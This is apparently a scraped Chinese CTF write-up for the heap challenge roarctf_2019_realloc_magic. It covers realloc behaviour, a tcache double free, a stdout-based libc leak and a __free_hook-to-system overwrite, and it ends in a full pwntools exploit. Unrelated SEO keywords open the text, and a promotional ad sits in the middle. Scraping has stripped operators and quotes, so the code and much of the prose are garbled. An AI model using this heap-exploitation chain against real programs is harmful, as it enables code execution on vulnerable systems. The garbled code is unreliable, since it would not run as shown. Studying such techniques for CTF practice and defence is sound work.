足球网站建设意义,企业网站建设参考资料,排名好的网站开发,网线制作的心得体会本题主要介绍realloc函数#xff0c;平时我们使用realloc最多便是在打malloc_hook–onegadget的时候#xff0c;使用realloc_hook调整onegadget的栈帧#xff0c;从而getshell。
在realloc函数中#xff0c;也能像malloc一样创建堆#xff0c;并且比malloc麻烦一些平时我们使用realloc最多便是在打malloc_hook–onegadget的时候使用realloc_hook调整onegadget的栈帧从而getshell。
在realloc函数中也能像malloc一样创建堆并且比malloc麻烦一些但是倒是挺有趣的
realloc
realloc(realloc_ptr, size)有两个参数并且在特定参数有特定效果
size 0 这个时候等同于free。也就是free(realloc_ptr)并且返回空指针。即没有uafrealloc_ptr 0 size 0 这个时候等同于malloc,即malloc(size)malloc_usable_size(realloc_ptr) size 这个时候等同于editmalloc_usable_size(realloc_ptr) szie 这个时候才是malloc一块更大的内存将原来的内容复制过去再将原来的chunk给free掉
stdout泄露
这里我只给出结论具体可以参考 设置_flags _IO_NO_WRITES 0 设置_flags _IO_CURRENTLY_PUTTING 1 设置_flags _IO_IS_APPENDING 1 _flags 0xFBAD1800设置_IO_write_base指向想要泄露的位置_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾程序中自带地址足够泄露libc)
具备以上基础我们可以来实战一题了
roarctf_2019_realloc_magic
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled64位保护全开
前情提要
本题部署在2.27-3ubuntu1_amd64/libc-2.27.so
建议关闭linux地址空间随机化(ASLR)方便调试。
在root用户下执行
echo 0 /proc/sys/kernel/randomize_va_spacerealloc
int re()
{unsigned int size; // [rspCh] [rbp-4h]puts(Size?);size get_int();realloc_ptr realloc(realloc_ptr, size);puts(Content?);read(0, realloc_ptr, size);return puts(Done);
}free
int fr()
{free(realloc_ptr);return puts(Done);
}存在uaf可以利用起来
这里有个清零指针的函数
int ba()
{if ( lock )exit(-1);lock 1;realloc_ptr 0LL;return puts(Done);
}程序特别简单但是利用比较精妙
在realloc的时候因为每次都是使用realloc_ptr并且没有变化导致每次申请的chunk都会写在在realloc_ptr指向的地址再次申请比上一次的size大就可以往后溢出写
帮助网安学习全套资料S信免费领取 ① 网安学习成长路径思维导图 ② 60网安经典常用工具包 ③ 100SRC分析报告 ④ 150网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集含答案 ⑧ APP客户端安全检测指南安卓IOS
思路
通过realloc和uaf构造好tcache的布局
然后把_IO_2_1_stdout 链到bin里面通过stdout泄露libc得到free_hook
最后正常打free_hookfree_hook--system--/bin/sh
首先利用malloc(size)和free(size)在tcache上面先准备好
malloc(size)可以由realloc(realloc_ptr,size)得到本文上面的第二个效果
free(size)可以由realloc(realloc_ptr,size0)得到本文上面的第一个效果)
realloc(0x20,bb) #这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
realloc(0,)
realloc(0x90,bb)
realloc(0,)
realloc(0x10,bb)
realloc(0,)realloc(0x90,bb)
for i in range(7):dele()
realloc(0,)这一步非常重要首先将0x90的地址申请回来赋值给realloc_ptr在通过uaftcache double free free掉7次填满tcache bin然后再free一次使0x90进入到unsortedbin把main_arena链进来
为什么第八次free需要使用realloc去free呢
因为首先是因为用来链上unsortedbin其次用来清空掉realloc_ptr指针不影响后面的chunk使用 看一下此时的堆空间 realloc(0x20,baaa)
plp64(0)*5p64(0x81)b\x60\xc7
#realloc(0x50,baaa)
#这里的注释是用来方便看你申请的堆放哪里去了可以自己看一下
realloc(0x50,pl)这里看上面图片的堆布局如果你用了注释看了一下gdb就知道为什么这样摆了
后面申请的0x50是因为能刚好申请到更改unsortedbin的范围大一点也没关系
首先改chunkB也就是我们放入unsortedbin的chunk改掉size值可以结合realloc(0)多一次malloc
后面的\x60\xc7看图就知道了 _IO_2_1_stdout_跟main_arena相差了4位并且低三位是固定的只需要爆破一位
因为我关闭了ASLR所以直接\x60\xc7打本地不用爆破一次通(x)
直接看成果图 可以发现成功链上了_IO_2_1_stdout_接下来我们只需要把他申请回来就行
realloc(0,)
realloc(0x90,baa)
realloc(0,)
plp64(0xfbad1887)p64(0)*3b\x58
realloc(0x90,pl)这里就涉及到_IO_2_1_stdout_泄露libc了下图都还没改的
0xfbad1887照着原来的就行低两位高地址就是取我们设定好的0xFBAD1800 这里前面的_IO_read_xx用p64(0)填充掉然后利用_IO_write_base设置指向想要泄露位置比如说改成\x58
也就是 把_IO_file_jumps泄露出来就可以计算libc别的位置都可以只需要是能算libc的即可
然后算出free_hooksystem的libc地址
接下来首先先用给的清理realloc_ptr的函数将realloc_ptr置0
sla(menu,666)realloc(0x30,ba)
realloc(0,)
realloc(0xa0,ba)
realloc(0,)
realloc(0x10,bb)#2
realloc(0,)
realloc(0xa0,bb)
for i in range(7):dele()
realloc(0,)
realloc(0x30,ba)plp64(0)*7p64(0x71)p64(free-8)
realloc(0x70,pl)
realloc(0,)
realloc(0xa0,ba)
realloc(0,)
realloc(0xa0,b/bin/sh\x00p64(sys))
dele()free-8是为了放好/bin/sh然后顺便下一个将free_hook改成system
完整exp:
from pwn import*def debug(cmd 0):if cmd 0:gdb.attach(r)else:gdb.attach(r,cmd)pause()menub
def realloc(size,con):r.sendlineafter(menu, b1)r.sendlineafter(bize,str(size))r.sendafter(bent,con)
def dele():r.sendlineafter(menu,b2)libcELF(libc-2.27.so)context(oslinux, archamd64,log_leveldebug)def pwn():realloc(0x20,bb)realloc(0,)realloc(0x90,bb)realloc(0,)realloc(0x10,bb)realloc(0,)realloc(0x90,bb)for i in range(7):dele()realloc(0,)realloc(0x20,baaa)payloadp64(0)*5p64(0x81)b\x60\xc7#realloc(0x50,baaa)realloc(0x50,payload)realloc(0,)realloc(0x90,baa)realloc(0,)payloadp64(0xfbad1886)p64(0)*3b\x58realloc(0x90,payload)#debug()leaku64(r.recvuntil(b\x7f)[-6:].ljust(8, b\x00))-libc.sym[_IO_file_jumps]print(hex(leak))freeleaklibc.sym[__free_hook]systemleaklibc.sym[system]r.sendlineafter(menu,666)realloc(0x30,ba)realloc(0,)realloc(0xa0,ba)realloc(0,)realloc(0x10,bb)#2realloc(0,)realloc(0xa0,bb)for i in range(7):dele()realloc(0,)realloc(0x30,ba)payloadp64(0)*7p64(0x71)p64(free-8)realloc(0x70,payload)realloc(0,)realloc(0xa0,ba)realloc(0,)realloc(0xa0,b/bin/sh\x00p64(system))dele()r.interactive()for i in range(1):try:rprocess(./pwn)pwn()breakexcept:r.close()